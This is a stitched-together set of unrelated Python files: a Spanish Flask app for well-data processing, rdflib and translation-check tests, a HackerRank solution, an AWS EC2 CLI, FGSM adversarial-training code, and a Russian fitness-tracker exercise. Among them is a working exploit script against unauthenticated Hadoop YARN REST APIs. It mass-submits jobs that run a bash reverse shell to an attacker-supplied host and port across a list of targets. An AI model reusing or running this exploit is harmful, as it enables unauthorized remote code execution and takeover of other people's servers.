            print('NOMBRE DEL POZO')
            print(nombrepozo)
            print('WELL ID')
            print(f'|{well_id}|')

            del_comp_status_url = ROOT + \
                url_for('api.del_component_status', well_id=well_id)

            response = requests.get(del_comp_status_url)
            num_registros_antes = json.loads(response.content.decode("utf-8"))['num_registros_antes']
            num_registros_despues = json.loads(response.content.decode("utf-8"))['num_registros_despues']

            set_0015_qry = get_set_0015_qry(well_id)
            post_inj_status_qry = get_post_inj_status_qry(well_id)
            pre_inj_status_qry = get_pre_inj_status_qry(well_id)
            flushing_status_qry = get_flushing_status_qry(well_id)
            delete_csg_hole_sect = get_delete_csg_hole_sect(well_id)

            engine = create_engine(connection_url)

            with engine.connect() as connection:
                trans = connection.begin()
                try:
                    cursor_result = connection.execute(text(set_0015_qry))
                    cursor_result = connection.execute(text(post_inj_status_qry))
                    cursor_result = connection.execute(text(pre_inj_status_qry))
                    cursor_result = connection.execute(text(flushing_status_qry))
                    cursor_result = connection.execute(text(delete_csg_hole_sect))

                    trans.commit()

                except:
                    trans.rollback()
                    raise Exception('Error al correr complementos de homologacion genérica')

            flash('Antes: {} registros'.format(num_registros_antes))
            flash('Despues: {} registros'.format(num_registros_despues))

            return redirect(url_for('comp_status'))

        return render_template('component_status.html', **context)

    except Exception as e:
        print(e)
        logging.error(e)
        logging.info('TRACE BACK FOUND:')
        logging.error(traceback.format_exc())
        return redirect(url_for('error_page'))

@app.route('/preprocesamientoDDR', methods=['GET', 'POST'])
def preprocesar_ddr():
    try:
        ROOT = request.url_root

        form = PreprocesamientoDDRForm()

        context = {
            'form': form,
        }

        if form.validate_on_submit():
            nombrepozo = form.nombrepozo.data

            engine = create_engine(connection_url)

            TIME_SUMMARY_QRY = get_perfo_time_summary_qry(nombrepozo)

            output, filename = crear_excel_actividades_segmentadas(engine, text(TIME_SUMMARY_QRY), nombrepozo)

            return send_file(output, as_attachment=True, attachment_filename=filename)

        return render_template('preprocesamiento_ddr.html', **context)

    except Exception as e:
        print(e)
        logging.error(e)
        logging.info('TRACE BACK FOUND:')
        logging.error(traceback.format_exc())
        return redirect(url_for('error_page'))

@app.route('/taladros_dailys_ops', methods=['GET', 'POST'])
def taladros_dailys_ops():
    try:
        ROOT = request.url_root

        form = PreprocesamientoDDRForm()

        context = {
            'form': form,
        }

        if form.validate_on_submit():
            nombrepozo = form.nombrepozo.data

            engine = create_engine(connection_url)

            TALADROS_QRY = get_taladros_qry(nombrepozo)
            DAILY_OPS_QRY = get_events_time_summary_qry(nombrepozo)
            WE_STATUS_QRY = get_wellbore_eq_status_qry(nombrepozo)

            output, filename = create_taladros_dailys_excel(engine, nombrepozo, text(TALADROS_QRY), text(DAILY_OPS_QRY), text(WE_STATUS_QRY))

            return send_file(output, as_attachment=True, attachment_filename=filename)

        return render_template('taladros_dailys_ops.html', **context)

    except Exception as e:
        print(e)
        logging.error(e)
        logging.info('TRACE BACK FOUND:')
        logging.error(traceback.format_exc())
        return redirect(url_for('error_page'))

@app.route('/asignarActivityPhases', methods=['GET', 'POST'])
def asignar_activity_phases():
    try:
        ROOT = request.url_root

        form = AisgnarFasesForm()

        context = {
            'form': form,
        }

        if form.validate_on_submit():
            nombrepozo = form.nombrepozo.data

            asignar_activity_phases_url = ROOT + \
                url_for('activityPhases.asignar_activity_phases', wellname=nombrepozo)

            response = requests.get(asignar_activity_phases_url)

            flash('Activity Phases asignadas!!')

            return redirect(url_for('asignar_activity_phases'))

        return render_template('asignar_activity_phases.html', **context)

    except Exception as e:
        print(e)
        logging.error(e)
        logging.info('TRACE BACK FOUND:')
        logging.error(traceback.format_exc())
        return redirect(url_for('error_page'))

@app.route('/identificar_ocm', methods=['GET', 'POST'])
def identificar_ocm():
    try:

        form = IdentificarOCMForm()

        context = {
            'form': form,
        }

        if form.validate_on_submit():
            nombrepozo = form.nombrepozo.data

            return redirect(url_for('crear_ocm', wellname=nombrepozo))

        return render_template('identificar_ocm.html', **context)

    except Exception as e:
        print(e)
        logging.error(e)
        logging.info('TRACE BACK FOUND:')
        logging.error(traceback.format_exc())
        return redirect(url_for('error_page'))

@app.route('/crearOCM', methods=['GET', 'POST'])
def crear_ocm():
    try:
        wellname = request.args.get('wellname', None)

        form = CrearOCMForm()

        ROOT = request.url_root

        predecirOCM_url = ROOT + url_for('api.predecir_inicio_OCM', wellname=wellname)

        response = requests.get(predecirOCM_url)

        table_data_dict = json.loads(response.content.decode("utf-8"))['time_summary_df']
        prediccion_deterministica = json.loads(response.content.decode("utf-8"))['prediccion_deterministica']
        prediccion_RF = json.loads(response.content.decode("utf-8"))['prediccion_RF']

        print(type(prediccion_deterministica), prediccion_deterministica)
        print(type(prediccion_RF), prediccion_RF)

        if not prediccion_deterministica:
            prediccion_deterministica = 'Inicio OCM No Identificado'

        columns_names = table_data_dict['columns']
        columns_vals = table_data_dict['data']
        table_indexes = table_data_dict['index']
        single_row_len = len(columns_vals[0])
        index_len = len(table_indexes)

        ocm_choices = [(prediccion_deterministica, f'(Determinístico) OCM podría iniciar : {prediccion_deterministica}'),
                       (prediccion_RF, f'(Probabilístico) OCM podría iniciar : {prediccion_RF}'),
                       ('', "Ninguna de las anteriores")]

        form.opciones_inicio_ocm.choices = ocm_choices

        context = {
            'form': form,
            'wellname':wellname,
            'prediccion_NN':prediccion_RF,
            'prediccion_deterministica':prediccion_deterministica,
            'columns_names':columns_names,
            'columns_vals': columns_vals,
            'table_indexes': table_indexes,
            'single_row_len':single_row_len,
            'index_len':index_len
        }

        if form.validate_on_submit():
            print()
            print('CREAR OCM')
            print()

            fechahora_inicio_ocm = form.fechahora_inicio_ocm.data
            opcion_seleccionada = request.form.get('opciones_inicio_ocm',None)

            print('fechahora_inicio_ocm', fechahora_inicio_ocm)
            print('opcion_seleccionada', opcion_seleccionada)

            ultima_fecha_en_dailys_ops = columns_vals[-1][1]
            print('ultima_fecha_en_dailys_ops: ',ultima_fecha_en_dailys_ops)

            if (not fechahora_inicio_ocm) and (not opcion_seleccionada):
                flash("Selecciona o digita un inicio de OCM")
                return redirect(url_for('crear_ocm', wellname=wellname))

            if not fechahora_inicio_ocm:
                fechahora_inicio_ocm = opcion_seleccionada

            get_well_id_url = ROOT + url_for('api.wellid', wellname=wellname)

            response = requests.get(get_well_id_url)
            data = json.loads(response.content.decode("utf-8"))
            well_id = data['WELL ID']

            insertar_OCM_url = ROOT + url_for('api.insertar_OCM',
                                          startdate=fechahora_inicio_ocm,
                                          finaldate=ultima_fecha_en_dailys_ops,
                                          well_id=well_id)

            response = requests.get(insertar_OCM_url)
            data = json.loads(response.content.decode("utf-8"))
            event_id = data['event_id']
            status = data['status']

            flash(status + f' al pozo {wellname}. ID del Nuevo evento: {event_id}. '
                  f'INICIO OCM INGRESADO: {fechahora_inicio_ocm}'   )

            return redirect(url_for('identificar_ocm'))

        return render_template('crear_ocm.html', **context)

    except Exception as e:
        print(e)
        logging.error(e)
        logging.info('TRACE BACK FOUND:')
        logging.error(traceback.format_exc())
        flash('Es posible que el pozo no cuente con reportes Daily Ops en el ODR')
        return redirect(url_for('error_page'))

@app.route('/propiedades_casing', methods=['GET', 'POST'])
def propiedades_casing():
    try:
        choices_base = [('','No existe este Casing')]
        casings_choices = [(i,i) for i in casings_data_df['ABREVIATURA']]

        form = PropsCasingsForm()

        casings_choices = choices_base + casings_choices

        form.casing_superficie.choices = casings_choices.copy()
        form.casing_intermedio.choices = casings_choices.copy()
        form.liner.choices = casings_choices.copy()

        context = {
            'form': form,
        }

        if form.validate_on_submit():
            nombrepozo = form.nombrepozo.data
            casing_superficie = request.form.get('casing_superficie',None)
            casing_intermedio = request.form.get('casing_intermedio',None)
            liner = request.form.get('liner',None)

            print(nombrepozo)
            print(casing_superficie)
            print(casing_intermedio)
            print(liner)

            ROOT = request.url_root
            get_well_id_url = ROOT + url_for('api.wellid', wellname=nombrepozo)

            response = requests.get(get_well_id_url)
            data = json.loads(response.content.decode("utf-8"))
            well_id = data['WELL ID']

            get_elevacion_mesa_url = ROOT + \
            url_for('api.get_elevacion_mesa', well_id=well_id)

            response = requests.get(get_elevacion_mesa_url)
            elevacion_terreno = json.loads(response.content.decode("utf-8"))['ELEVACION TERRENO']

            engine = create_engine(connection_url)

            SUPERFICIE_QRY = ''
            INTERMEDIO_QRY = ''
            LINER_QRY = ''

            if casing_superficie:
                temp_df = casings_data_df[casings_data_df['ABREVIATURA']==casing_superficie]
                csg_data_serie = temp_df.iloc[0]

                od = csg_data_serie['od_body']
                id = csg_data_serie['id_body']
                drift = csg_data_serie['id_drift']
                weight = csg_data_serie['approximate_weight']
                codigo_grado = csg_data_serie['grade_id']
                grado = csg_data_serie['grade']
                bottom_connection = 'API BTC'
                connection_name = 'API BTC'

                SUPERFICIE_QRY = get_poblar_casing_qry(well_id,
                                                      od,
                                                      id,
                                                      drift,
                                                      weight,
                                                      bottom_connection,
                                                      connection_name,
                                                      codigo_grado,
                                                      grado)

                SUPERFICIE_SET_MIN_ID_QRY = get_set_min_id_qry(well_id, od, id)

            if casing_intermedio:
                temp_df = casings_data_df[casings_data_df['ABREVIATURA']==casing_intermedio]
                csg_data_serie = temp_df.iloc[0]

                od = csg_data_serie['od_body']
                id = csg_data_serie['id_body']
                drift = csg_data_serie['id_drift']
                weight = csg_data_serie['approximate_weight']
                codigo_grado = csg_data_serie['grade_id']
                grado = csg_data_serie['grade']
                bottom_connection = 'API BTC'
                connection_name = 'API BTC'

                INTERMEDIO_QRY = get_poblar_casing_qry(well_id,
                                                      od,
                                                      id,
                                                      drift,
                                                      weight,
                                                      bottom_connection,
                                                      connection_name,
                                                      codigo_grado,
                                                      grado)

                INTERMEDIO_SET_MIN_ID_QRY = get_set_min_id_qry(well_id, od, id)

            if liner:
                temp_df = casings_data_df[casings_data_df['ABREVIATURA']==liner]
                csg_data_serie = temp_df.iloc[0]

                od = csg_data_serie['od_body']
                id = csg_data_serie['id_body']
                drift = csg_data_serie['id_drift']
                weight = csg_data_serie['approximate_weight']
                codigo_grado = csg_data_serie['grade_id']
                grado = csg_data_serie['grade']
                bottom_connection = 'API BTC'
                connection_name = 'API BTC'

                LINER_QRY = get_poblar_liner_qry(well_id,
                                                      od,
                                                      id,
                                                      drift,
                                                      weight,
                                                      bottom_connection,
                                                      connection_name,
                                                      codigo_grado,
                                                      grado)

                LINER_SET_MIN_ID_QRY = get_set_min_id_qry(well_id, od, id)

            registros_afectados = 0

            ODs_Max_ID_Min_QRY = get_set_elev_mesa_casings_qry(well_id, elevacion_terreno)

            with engine.connect() as connection:
                trans = connection.begin()
                try:
                    if SUPERFICIE_QRY:
                        print(SUPERFICIE_QRY+'\n')
                        cursor_result = connection.execute(text(SUPERFICIE_QRY))
                        registros_afectados += cursor_result.rowcount

                        cursor_result = connection.execute(text(SUPERFICIE_SET_MIN_ID_QRY))
                        registros_afectados += cursor_result.rowcount

                    if INTERMEDIO_QRY:
                        print(INTERMEDIO_QRY+'\n')
                        cursor_result = connection.execute(text(INTERMEDIO_QRY))
                        registros_afectados += cursor_result.rowcount

                        cursor_result = connection.execute(text(INTERMEDIO_SET_MIN_ID_QRY))
                        registros_afectados += cursor_result.rowcount

                    if LINER_QRY:
                        print(LINER_QRY+'\n')
                        cursor_result = connection.execute(text(LINER_QRY))
                        registros_afectados += cursor_result.rowcount

                        cursor_result = connection.execute(text(LINER_SET_MIN_ID_QRY))
                        registros_afectados += cursor_result.rowcount

                    print(ODs_Max_ID_Min_QRY)
                    cursor_result = connection.execute(text(ODs_Max_ID_Min_QRY))
                    registros_afectados += cursor_result.rowcount

                    trans.commit()

                    flash(f'{registros_afectados} Registros afectados')

                except:
                    trans.rollback()
                    raise Exception('No se lograron poblar los Casings')

            return redirect(url_for('propiedades_casing'))

        return render_template('propiedades_casing.html', **context)

    except Exception as e:
        print(e)
        logging.error(e)
        logging.info('TRACE BACK FOUND:')
        logging.error(traceback.format_exc())
        return redirect(url_for('error_page'))


from rdflib import Graph
from rdflib.plugins.stores.sparqlstore import SPARQLStore, SPARQLUpdateStore

from rdflib_orm.db import set_store_header_read, set_store_header_update

def test_set_store_header_read():
    """SPARQL headers are set correctly for a SPARQLStore."""
    store = SPARQLStore()
    g = Graph(store=store)
    set_store_header_read(g.store)
    assert g.store.kwargs['headers'].get('content-type') is None

def test_set_store_head_update():
    """SPARQL headers are set correctly for a SPARQLUpdateStore."""
    store = SPARQLUpdateStore()
    g = Graph(store=store)
    set_store_header_update(g.store)
    assert g.store.kwargs['headers'].get('content-type') == 'application/sparql-update'


"""
Given a string , which is the company name in lowercase letters, your task is to find the top three most common characters in the string.

Print the three most common characters along with their occurrence count.
Sort in descending order of occurrence count.
If the occurrence count is the same, sort the characters in alphabetical order.

https://www.hackerrank.com/challenges/most-commons/problem
"""

s = "aabbbccde"

"""
First approach: manual count 🐌🐌🐌
"""
char_list = [char for char in s]
unique_char_list = list(set(char_list))

result = []
for char in unique_char_list:
    count = 0
    for character in s:
        if character == char:
            count += 1
    result.append((char, count))
    count = 0

result.sort(key=lambda item: (-item[1], item[0]))
for index, item in enumerate(result):
    if index <= 2:
        print(item[0], item[1])

"""
Second approach: count using Counter 🏎🏎🏎
"""
from collections import Counter

chars = Counter(s).items()

for char, count in sorted(chars, key=lambda item: (-item[1], item[0]))[:3]:
    print(char, count)

"""
3rd approach: using class 🤯🤯🤯
"""
from collections import Counter, OrderedDict

class OrderedCounter(Counter, OrderedDict):
    pass

[print(*c) for c in OrderedCounter(sorted(s)).most_common(3)]


#!/usr/bin/python3
# -*- coding:utf-8 -*-
# author:ADummy
# from:https://github.com/ADummmy/exploits

import sys
import requests
import csv
from concurrent.futures import ThreadPoolExecutor

if len(sys.argv) != 4:
    print(
        '+----------------------------------------------------------------------------------------------------------+')
    print(
        '+ DES: by ADummy as https://github.com/ADummmy/exploits                                                    +')
    print(
        '+----------------------------------------------------------------------------------------------------------+')
    print(
        '+ USE: python3 <filename> <hosts> <lhost> <lport>                                                          +')
    print(
        '+ EXP: python3 Nexus_weakpasswd.py url.txt 255.255.255.255 9999                                            +')
    print(
        '+----------------------------------------------------------------------------------------------------------+')
    sys.exit()
def poc(host,lhost,lport):
    host1 = "http://" + host
    url1 = host1 + '/ws/v1/cluster/apps/new-application'
    url2 = host1 + '/ws/v1/cluster/apps'
    try:
        r1 = requests.post(url1,timeout=5)
        if r1.status_code !=200:
            print(host + ": false")
            return
        app_id = r1.json()['application-id']
        data = {
            'application-id': app_id,
            'application-name': 'get-shell',
            'am-container-spec': {
                'commands': {
                    'command': '/bin/bash -i >& /dev/tcp/%s/%s 0>&1' % (lhost,lport)
                },
            },
            'application-type': 'YARN',
        }

        r2 = requests.post(url2,timeout=5, json=data)
        if r2.status_code !=202:
            print(host + ": false")
            return
        print (host+": true!!! waitting your shell")
    except requests.exceptions.RequestException as e:
        print (host+": false")

if __name__ == '__main__':
    file = sys.argv[1]
    lhost = sys.argv[2]
    lport = sys.argv[3]
    data = open(file)
    reader = csv.reader(data)
    with ThreadPoolExecutor(50) as pool:
        for row in reader:
            pool.submit(poc, row[0],lhost,lport)


import random
from typing import Dict, Union

from transtool.checks.base.check import Check
from transtool.checks.missing_translations import MissingTranslations
from transtool.decorators.overrides import overrides
from transtool.prop.items import Comment
from tests.checks.checks_test_case import ChecksTestCase

class TestMissingTranslations(ChecksTestCase):

    @overrides(ChecksTestCase)
    def get_checker(self, config: Union[Dict, None] = None) -> Check:
        return MissingTranslations(config)

    # #################################################################################################

    def test_no_faults(self) -> None:
        # generate some keys for translation file
        cnt_min = 20
        cnt_max = 40
        keys = [self.get_random_string('key') for _ in range(random.randint(cnt_min, cnt_max))]
        ref_file = self.build_propfile(keys)
        trans_file = self.build_propfile(keys)
        self.check(trans_file, ref_file)

    def test_translation_with_keys_in_comments(self) -> None:
        """
        Checks if we have no issues reported when running in non-strict mode and having some translation
        keys in commented-out form, like:
        # ==> KEY =
        """
        # Generate some keys for reference file.
        cnt_min = 10
        cnt_max = 15
        ref_keys = [self.get_random_string('key') for _ in range(random.randint(cnt_min, cnt_max))]

        # have less keys for translation file
        how_many_less = random.randint(1, cnt_min - 1)
        trans_keys = ref_keys[:(how_many_less * -1)]

        ref_file = self.build_propfile(ref_keys)
        trans_file = self.build_propfile(trans_keys)

        # Put remaining keys into comments.
        remaining_keys = ref_keys[(how_many_less * -1):]
        for key in remaining_keys:
            if random.randint(0, 1) == 0:
                comment = Comment.get_commented_out_key_comment(self.config, key)
            else:
                val = self.get_random_string('translation')
                comment = Comment.get_commented_out_key_comment(self.config, key, val)
            trans_file.append(comment)

        # We expect no issues in non-strict mode
        self.checker.config['strict'] = False
        self.check(trans_file, ref_file)

        # We expect warnings in strict mode
        self.checker.config['strict'] = True
        self.check(trans_file, ref_file, exp_warnings = len(remaining_keys))

    def test_translation_with_faults(self) -> None:
        # generate some keys for reference file
        cnt_min = 20
        cnt_max = 40
        ref_keys = [self.get_random_string('key') for _ in range(random.randint(cnt_min, cnt_max))]

        # have less keys for translation file
        how_many_less = random.randint(1, cnt_min - 1)
        trans_keys = ref_keys[:(how_many_less * -1)]

        ref_file = self.build_propfile(ref_keys)
        trans_file = self.build_propfile(trans_keys)
        self.check(trans_file, ref_file, exp_warnings = how_many_less)

    # #################################################################################################

    def test_handling_of_unsupported_types(self) -> None:
        self.check_skipping_blank_and_comment()


#!/usr/bin/env python3
import argparse, boto3

parser = argparse.ArgumentParser(description="AWS EC2 tool", prog="ec2_tool")
parser.add_argument("--list", help="List EC2 instances", action="store_true")
parser.add_argument("--start", help="InstanceId of EC2 instance to start")
parser.add_argument("--stop", help="InstanceId of EC2 instance to stop")
parser.add_argument("--term", help="InstanceId of EC2 instance to terminate")
args = parser.parse_args()

client = boto3.client('ec2')

def get_ec2_all():
    ec2 = boto3.resource('ec2')
    instances = ec2.instances.all()
    title = "ec2 instances".upper()
    print(title)
    print(len(title)* "*")
    for i in instances:
        for t in i.tags:
            print("{}: {}".format(t['Key'], t['Value']))
        print("InstanceId: {}".format(i.instance_id))
        print("InstanceType: {}".format(i.instance_type))
        print("Status: {}".format(i.state['Name']))
        print("PublicDnsName: {}".format(i.public_dns_name))
        print("PublicIpAddress: {}".format(i.public_ip_address))
        for s in i.security_groups:
            print("SecurityGroup: {}".format(s['GroupName']))
        print("AZ: {}\n".format(i.placement['AvailabilityZone']))

def get_ec2(ec2_id):
    ec2 = boto3.resource('ec2')
    instance = ec2.Instance(ec2_id)
    for t in instance.tags:
        print("{}: {}".format(t['Key'], t['Value']))
    print("InstanceId: {}".format(instance.instance_id))
    print("Status: {}".format(instance.state['Name']))
    print("PublicDnsName: {}".format(instance.public_dns_name))
    print("PublicIpAddress: {}".format(instance.public_ip_address))
    print("AZ: {}".format(instance.placement['AvailabilityZone']))
    for s in instance.security_groups:
        print("Security Group: {}".format(s['GroupName']))

def start_ec2(instance):
    response = client.start_instances(InstanceIds=[instance])

def stop_ec2(instance):
    response = client.stop_instances(InstanceIds=[instance])

def term_ec2():
    print("terminate some shit")

if args.list == True:
    get_ec2_all()

if args.start != None:
    start_ec2(args.start)
    get_ec2(args.start)

if args.stop != None:
    stop_ec2(args.stop)
    get_ec2(args.stop)


import numpy as np
import torch
import torch.nn.functional as F

def fgsm_attack(images, epsilons, data_grad, p=1.0):
    images, data_grad = images.unsqueeze(dim=0), data_grad.unsqueeze(dim=0)
    # some validation of the input
    if isinstance(epsilons, np.ndarray):
        assert len(epsilons.shape) == 5 # dimension of image + 1
        epsilons.astype(np.float32)
    else:
        assert isinstance(epsilons, float)
        epsilons = np.array([[[[[epsilons]]]]], dtype=np.float32)

    # Collect the element-wise sign of the data gradient
    mask = torch.reshape(torch.Tensor(np.random.binomial(1, p, len(images))), (1, -1, 1, 1, 1))
    sign_data_grad = (data_grad.sign() * mask).repeat(epsilons.shape)
    # Create the perturbed image by adjusting each pixel of the input image
    perturbed_images = images.repeat(epsilons.shape) + sign_data_grad * epsilons
    # Adding clipping to maintain [0,1] range
    perturbed_images = torch.clamp(perturbed_images, 0, 1)
    # Return the perturbed image
    return perturbed_images.squeeze(dim=0)

def replacement_pipeline(images, targets, epsilon, p, model, device):
    """
    Pipeline to replace some of the inputs by the perturbed images based on the FGSM.
    This is a bit different than the approach presented in Goodfellow et al., 2014. Instead of always using both
    representations (original and perturbed) to update the weights for every input image, we are using only the
    perturbed images in p of the cases and the original in the others. This was proved to be efficient (see
    notebook - Goodfellow2014_exp.ipynb experiment 7) while not needing to calculate the loss an extra time.
    """
    training = model.training
    model.eval()
    images.requires_grad = True
    images.grad = None
    output = model(images)
    model.zero_grad()
    loss = F.nll_loss(output, targets)
    loss.backward()
    data_grad = images.grad.data
    images.requires_grad = False
    if training:
        model.train()
    pert_imgaes = fgsm_attack(images.cpu(), epsilon, data_grad.cpu(), p).to(device)
    return pert_imgaes

def fgsm_regularization(images, targets, epsilon, alpha, model, device):
    pert_images = replacement_pipeline(images, targets, epsilon, 1, model, device)
    output_org = model(images)
    output_pert = model(pert_images)
    loss = alpha * (F.nll_loss(output_org, targets)) + (1 - alpha) * (F.nll_loss(output_pert, targets))
    return loss

def ll_fgsm(images, epsilon, p, model, device, targets=None):
    """
    Similar to replacement_pipeline just here the noise is generated not based on the correct label, but rather based
    on the least likely prediction according to the model (assuming it is already somewhat trained). This fits the idea
    presented in Kurakin et al., 2017 without the iterative part.
    """
    training = model.training
    model.eval()
    images.requires_grad = True
    images.grad = None
    output = model(images)
    ll_targets = targets if targets is not None else output.argmin(dim=1)
    model.zero_grad()
    loss = F.nll_loss(output, ll_targets)
    loss.backward()
    data_grad = -1 * images.grad.data
    images.requires_grad = False
    if training:
        model.train()
    pert_imgaes = fgsm_attack(images.cpu(), epsilon, data_grad.cpu(), p).to(device)
    return pert_imgaes

def iter_adv(images, targets, epsilon, model, ll=False, p=1.0, device='cpu', dynamic_range=255, mask=None):
    assert isinstance(epsilon, float)  # epsilon here represents maximal change, no need to pass more than 1 value
    epsilon_dr = int(epsilon * dynamic_range)
    if mask is None:
        mask = np.random.binomial(1, p, len(images)) == 1.0
    p_placeholder = 1.0
    eps_placeholder = 1.0 / dynamic_range
    pert_images = images
    for i in range(epsilon_dr):
        if not ll:
            pert_images = replacement_pipeline(pert_images, targets, eps_placeholder, p_placeholder, model, device)
        else:
            pert_images = ll_fgsm(pert_images, eps_placeholder, p_placeholder, model, device, targets=targets)
    pert_images[~mask] = images[~mask]
    return pert_images, mask

class FGSMTransform:
    """
    Apply FGSM transformation on the data before training based on another model
    """

    def __init__(self, p, epsilon, path, model):
        self.p = p
        self.epsilon = epsilon

        device = torch.device('cpu')
        model = model.to(device)
        model.load_state_dict(torch.load(path))
        model.eval()
        self.model = model

    def __call__(self, img, target):
        assert isinstance(img, torch.Tensor)
        if torch.rand(1) < self.p:
            img = torch.unsqueeze(img, 0)
            target = torch.tensor([target])
            img.requires_grad = True
            output = self.model(img)
            self.model.zero_grad()
            loss = F.nll_loss(output, target)
            loss.backward()
            data_grad = img.grad.data
            img.requires_grad = False
            pert_img = torch.squeeze(fgsm_attack(img, self.epsilon, data_grad), dim=0)
            return pert_img

        return img


"""
Модуль фитнес-трекера, который производит расчет параметров тренирвоаки.

- Базовый класс тренировки Training
- Датакласс InfoMessage вызывается в методе базового класса Training.
"""
from dataclasses import dataclass, asdict

@dataclass
class InfoMessage:
    """
    Датакласс информационного сообщение о тренировке. Поля
    training_type: str, duration: float, distance: float,
    speed: float, calories: float.
    В единственном методе get_message() используется метод asdict для
    распаковки информации о тренировке в шаблон константы MESSAGE.
    """

    training_type: str
    duration: float
    distance: float
    speed: float
    calories: float
    MESSAGE = (
        "Тип тренировки: {}; "
        "Длительность: {:.3f} ч.; "
        "Дистанция: {:.3f} км; "
        "Ср. скорость: {:.3f} км/ч; "
        "Потрачено ккал: {:.3f}."
    )

    def get_message(self) -> None:
        t = asdict(self)
        return self.MESSAGE.format(*t.values())

class Training:
    """
    Базовый класс тренировки. От него наследуются все классы разных типов
    тренировки. Здесь определены методы расчета калорий для класса Running
    """

    M_IN_KM: int = 1000  # для перевода м в км. Длинна шага задана в м.
    LEN_STEP: float = 0.65  # задаем длинну шага
    MIN_IN_H: int = 60  # для перевода

    def __init__(self, action: int, duration: float, weight: float) -> None:
        self.action = action
        self.duration = duration
        self.weight = weight

    def get_distance(self) -> float:
        """
        Метод для расчета дистанции. Количество действий умножается на длунну
        в метрах и переводится в километры делением на 1000.
        """
        return self.action * self.LEN_STEP / self.M_IN_KM

    def get_mean_speed(self) -> float:
        """
        Получить среднюю скорость движения.
        Метод для расчета дистанции. Количество действий умножается на длунну
        в метрах и переводится в километры делением на 1000.
        """
        return self.get_distance() / self.duration

    def get_spent_calories(self) -> float:
        """Получить количество затраченных калорий."""
        raise NotImplementedError(
            "Определите get_spent_calories в %s." % (self.__class__.__name__)
        )

    def show_training_info(self) -> InfoMessage:
        """
        Метод возвращает объект датакласса InfoMessage путем вызова
        методов расчета.
        """
        return InfoMessage(
            type(self).__name__,
            self.duration,
            self.get_distance(),
            self.get_mean_speed(),
            self.get_spent_calories(),
        )

class Running(Training):
    """Тренировка: бег."""
    # константы для формулы
    first_coef: int = 18
    second_coef: int = 20

    def get_spent_calories(self) -> float:
        """
        Функция расчитывает количество потраченных калорий для бега.
        """
        return (
            (self.first_coef * self.get_mean_speed() - self.second_coef)
            * self.weight
            / self.M_IN_KM
            * self.duration
            * self.MIN_IN_H
        )

class SportsWalking(Training):
    """Тренировка: спортивная ходьба."""

    first_coef: float = 0.035
    second_coef: int = 2
    thrid_coef: float = 0.029

    def __init__(self, action: int, duration: float, weight: float, height: float):
        super().__init__(action, duration, weight)
        self.height = height

    def get_spent_calories(self) -> float:
        return (
            (
                self.first_coef * self.weight
                + (self.get_mean_speed() ** self.second_coef // self.height)
                * self.thrid_coef
                * self.weight
            )
            * self.duration
            * self.MIN_IN_H
        )

class Swimming(Training):
    """Тренировка: плавание."""

    LEN_STEP = 1.38
    first_coef: float = 1.1
    second_coef: int = 2

    def __init__(
        self,
        action: int,
        duration: float,
        weight: float,
        length_pool: float,
        count_pool: float,
    ):
        super().__init__(action, duration, weight)
        self.lenght_pool = length_pool
        self.count_pool = count_pool

    def get_mean_speed(self) -> float:
        return self.lenght_pool * self.count_pool / self.M_IN_KM / self.duration

    def get_spent_calories(self) -> float:
        return (
            (self.get_mean_speed() + self.first_coef) * self.second_coef * self.weight
        )

def read_package(workout_type: str, data: list) -> Training:
    """
    Метод для считывания данных тренировки.
    Ввод: тип тренирвки (например: SWM), список параметров трениеровки.
    Вывод: Ищется тип тренировки. Тип тренировки ключ-строка для нужного класса
    из словаря parameters_train. Создается экземпляр путем распаковки данных
    тренировки в выбранный класс.

    """
    parameters_train = {"SWM": Swimming, "RUN": Running, "WLK": SportsWalking}
    if workout_type in parameters_train:
        return parameters_train[workout_type](*data)
    else:
        raise ValueError("Тренировка не найдена")

def output(training: Training) -> None:
    """
    Главная функция. Метод show_training_info() есть у базового класса
    тренировки. Он вернет экземпляр класса InfoMessage. А метод get_message()
    вернет строку с подставленными данными тренировки.
    """
    message_train = training.show_training_info()  # экземпляр InfoMessage
    print(message_train.get_message())  # печатаем сообщение встроенным методом

def main():
    # данные для тестирования программы локально.
    packages = [
        ("SWM", [720, 1, 80, 25, 40]),  # передаем валидные данные для плавания
        ("RUN", [15000, 1, 75]),  # передаем валидные данные для бега
        ("WLK", [9000, 1, 75, 180]),  # передаем валидные данные для ходьбы
        ("WRK", [9000, 1, 75, 180]),  # передаем невалидный код тренировки
        ("WLK", [0, 1, 75, 180]),  # передаем нулевое значение движений
        ([9000, 1, 75, 180]),  # не передаем тип тренировки
        ("WLK", [1, 75, 180]),  # передаем неправильное количество параметров
    ]

    for i in range(len(packages)):
        if len(packages[i]) == 2:
            workout_type = packages[i][0]
            data = packages[i][1]
            if packages[i][1][0] > 0:
                try:
                    # создаем экземпляр с переданнми данными тренировки
                    training = read_package(workout_type, data)
                    #  передаем экземпляр тренировки в функцию-выведет
                    output(training)
                except (ValueError, TypeError):
                    print("Не определен тип тренировки")
                except ZeroDivisionError:
                    print("Датчики не исправны")
            else:
                print("Вы еще не начали тренироваться=)")
        else:
            print("Не определен тип тренировки или датчики неисправны")

if __name__ == "__main__":
    main()